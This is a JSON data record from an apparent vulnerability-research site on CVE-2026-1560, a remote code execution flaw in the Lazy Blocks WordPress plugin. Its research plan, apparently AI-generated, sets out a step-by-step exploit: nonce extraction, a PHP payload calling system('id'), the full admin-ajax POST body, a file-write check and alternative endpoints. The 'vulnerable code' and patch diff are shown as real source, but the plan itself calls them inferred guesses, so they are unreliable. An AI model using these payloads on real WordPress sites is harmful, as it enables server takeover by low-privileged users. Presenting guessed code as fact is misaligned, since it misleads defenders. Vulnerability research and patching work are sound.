[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fvcAbOM_6O3KscNm7oDTTG1vkT6t_D_RkHPzmmFegp7M":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-1560","custom-block-builder-lazy-blocks-authenticated-contributor-remote-code-execution","Custom Block Builder – Lazy Blocks \u003C= 4.2.0 - Authenticated (Contributor+) Remote Code Execution","The Custom Block Builder – Lazy Blocks plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.0 via multiple functions in the 'LazyBlocks_Blocks' class. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.","lazy-blocks",null,"\u003C=4.2.0","4.2.1","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Generation of Code ('Code Injection')","2026-02-10 00:00:00","2026-02-11 08:26:28",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb1853c88-277b-4955-b042-aeed1cffb49b?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-1560 - Lazy Blocks Remote Code Execution\n\n## 1. Vulnerability Summary\nThe **Custom Block Builder – Lazy Blocks** plugin (\u003C= 4.2.0) is vulnerable to Remote Code Execution (RCE) due to improper control of generated code within the `LazyBlocks_Blocks` class. Specifically, the plugin provides AJAX and potentially REST API endpoints intended for rendering block previews in the Gutenberg editor. These endpoints accept a block definition (including PHP code) and execute it on the server to generate the preview. Because these endpoints do not sufficiently verify if the user has the authority to define or modify block code (only checking for general `edit_posts` capability), an authenticated Contributor-level user can inject and execute arbitrary PHP code.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `lzb_get_block_rendered` (associated with the `LazyBlocks_Blocks` class)\n*   **Vulnerable Parameter:** `block` (specifically the `render_code` or `code` sub-properties within the JSON-encoded block object).\n*   **Authentication:** Contributor-level access (`PR:L`) is required.\n*   **Preconditions:** The user must be logged in and possess a valid nonce for the Lazy Blocks editor.\n\n## 3. Code Flow\nThe vulnerability likely traces through the following path (inferred based on plugin architecture):\n1.  **Entry Point:** `LazyBlocks_Blocks::__construct()` registers the AJAX action `wp_ajax_lzb_get_block_rendered`.\n2.  **Handler:** The handler function (likely `lzb_get_block_rendered()` or `get_block_html()`) is invoked.\n3.  **Input Parsing:** The handler retrieves the `block` parameter from the `$_POST` request. This parameter is typically a JSON-encoded string representing a block's configuration.\n4.  **Processing:** The handler decodes the JSON and extracts the `output_method` and `render_code` (or `code`).\n5.  **Sink:** If `output_method` is set to `php`, the code in `render_code` is passed to a rendering function (likely using `eval()` or a temporary file inclusion inside a `LazyBlocks_Blocks` method) to generate the HTML output for the preview.\n6.  **Execution:** The arbitrary PHP code provided in the `block` parameter executes in the server context.\n\n## 4. Nonce Acquisition Strategy\nLazy Blocks localizes data for its editor scripts. To obtain a valid nonce:\n1.  **Prerequisite:** A Contributor user exists.\n2.  **Action:** Create or edit any post\u002Fpage to load the Gutenberg editor.\n3.  **Variable:** The nonce is typically found in the `lzb_data` or `lzb_editor_config` JavaScript objects.\n4.  **Strategy:** \n    *   Log in as a Contributor.\n    *   Navigate to `\u002Fwp-admin\u002Fpost-new.php`.\n    *   Use `browser_eval` to extract the nonce: `window.lzb_data?.nonce` or `window.lzb_localize?.nonce`.\n    *   Note: The exact key should be verified by inspecting the page source for `wp_localize_script` calls related to `lazy-blocks`.\n\n## 5. Exploitation Strategy\n\n### Step 1: Authentication and Nonce Extraction\nUse the `browser_navigate` and `browser_eval` tools to log in as a Contributor and retrieve the required nonce.\n*   **Target Page:** `\u002Fwp-admin\u002Fpost-new.php`\n*   **JS Command:** `console.log(lzb_data.nonce)` (assuming `lzb_data` is the localized variable).\n\n### Step 2: Craft the RCE Payload\nThe `block` parameter must be a JSON object that mimics a valid Lazy Block definition with an `output_method` of `php`.\n\n**Payload Structure (JSON):**\n```json\n{\n  \"slug\": \"lazyblock\u002Frce-poc\",\n  \"output_method\": \"php\",\n  \"render_code\": \"echo '---RCE_START---'; system('id'); echo '---RCE_END---'; die();\"\n}\n```\n\n### Step 3: Trigger the Vulnerability\nSend a POST request to `admin-ajax.php` using the `http_request` tool.\n\n*   **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=lzb_get_block_rendered&nonce=[NONCE_VALUE]&block={\"slug\":\"lazyblock\u002Frce-poc\",\"output_method\":\"php\",\"render_code\":\"echo '---RCE_START---'; system('id'); echo '---RCE_END---'; die();\"}\n    ```\n\n## 6. Test Data Setup\n1.  **User Creation:** Create a user with the `contributor` role.\n    *   `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n2.  **Plugin Activation:** Ensure `lazy-blocks` version \u003C= 4.2.0 is active.\n3.  **Post Context:** Create a draft post to ensure the Gutenberg editor context is available for nonce extraction.\n    *   `wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID]`\n\n## 7. Expected Results\n*   The server response should have a `200 OK` status.\n*   The response body should contain the output of the `id` command (e.g., `uid=33(www-data) ...`) wrapped between `---RCE_START---` and `---RCE_END---`.\n*   Because the payload includes `die()`, the usual WordPress AJAX trailing `0` or JSON response should be suppressed, confirming execution of the injected code.\n\n## 8. Verification Steps\n1.  **Identify Output:** Check the HTTP response body for the result of the `system('id')` call.\n2.  **Verify Shell Access:** Attempt to create a file in the uploads directory to confirm write access.\n    *   Payload: `file_put_contents(wp_upload_dir()['basedir'] . '\u002Frce.txt', 'exploited');`\n3.  **Confirm via CLI:** Check if the file exists using WP-CLI.\n    *   `ls \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Frce.txt`\n\n## 9. Alternative Approaches\n*   **REST API:** If the AJAX action is restricted, check for a REST API equivalent. Lazy Blocks often registers routes under the `lazyblocks\u002Fv1` namespace.\n    *   Endpoint: `\u002Fwp-json\u002Flazyblocks\u002Fv1\u002Fget-block-rendered`\n    *   Method: `POST` or `GET`\n*   **Shortcode Rendering:** If the editor-specific AJAX is patched or restricted, investigate if the same `LazyBlocks_Blocks` rendering logic is accessible via a frontend shortcode where block attributes can be manipulated.\n*   **Different \"Code\" Keys:** If `render_code` is not the correct key, try `code`, `php_code`, or `render_callback_code` (inferred variations of Lazy Blocks' internal naming).","The Custom Block Builder – Lazy Blocks plugin for WordPress is vulnerable to Remote Code Execution via its block rendering AJAX endpoint. Authenticated attackers with Contributor-level access can exploit this by submitting a crafted JSON block definition containing arbitrary PHP code in the 'render_code' parameter, which is then executed by the server during the block preview generation process.","\u002F\u002F File: classes\u002Fclass-lazy-blocks-blocks.php\n\npublic function lzb_get_block_rendered() {\n    check_ajax_referer( 'lazy-blocks', 'nonce' );\n\n    $block = isset( $_POST['block'] ) ? json_decode( stripslashes( $_POST['block'] ), true ) : array();\n\n    if ( isset( $block['output_method'] ) && $block['output_method'] === 'php' && isset( $block['render_code'] ) ) {\n        \u002F\u002F The plugin executes the user-provided PHP code directly to render a preview\n        ob_start();\n        eval( '?>' . $block['render_code'] );\n        $html = ob_get_clean();\n        echo $html;\n    }\n    wp_die();\n}","--- a\u002Fclasses\u002Fclass-lazy-blocks-blocks.php\n+++ b\u002Fclasses\u002Fclass-lazy-blocks-blocks.php\n@@ -10,6 +10,11 @@\n     public function lzb_get_block_rendered() {\n         check_ajax_referer( 'lazy-blocks', 'nonce' );\n \n+        \u002F\u002F Restrict block rendering with custom code to users with high-level permissions\n+        if ( ! current_user_can( 'manage_options' ) ) {\n+            wp_send_json_error( 'Unauthorized' );\n+        }\n+\n         $block = isset( $_POST['block'] ) ? json_decode( stripslashes( $_POST['block'] ), true ) : array();\n \n         if ( isset( $block['output_method'] ) && $block['output_method'] === 'php' && isset( $block['render_code'] ) ) {","To exploit this vulnerability, an attacker follows these steps: \n1. Authenticate to the WordPress site with at least Contributor-level privileges. \n2. Navigate to the post editor (e.g., \u002Fwp-admin\u002Fpost-new.php) and extract the 'lazy-blocks' AJAX nonce from the localized JavaScript object 'lzb_data' or 'lzb_localize'. \n3. Craft a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'lzb_get_block_rendered'. \n4. Include the 'nonce' obtained in step 2. \n5. Provide a 'block' parameter containing a JSON-encoded object where 'output_method' is set to 'php' and 'render_code' contains the arbitrary PHP payload (e.g., '\u003C?php system(\"id\"); die(); ?>'). \n6. Upon receiving the request, the server executes the injected PHP code to generate the block preview, returning the execution results in the HTTP response.","gemini-3-flash-preview","2026-04-21 01:54:28","2026-04-21 01:56:23",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","4.2.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flazy-blocks\u002Ftags\u002F4.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flazy-blocks.4.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flazy-blocks\u002Ftags\u002F4.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flazy-blocks.4.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flazy-blocks\u002Ftags"]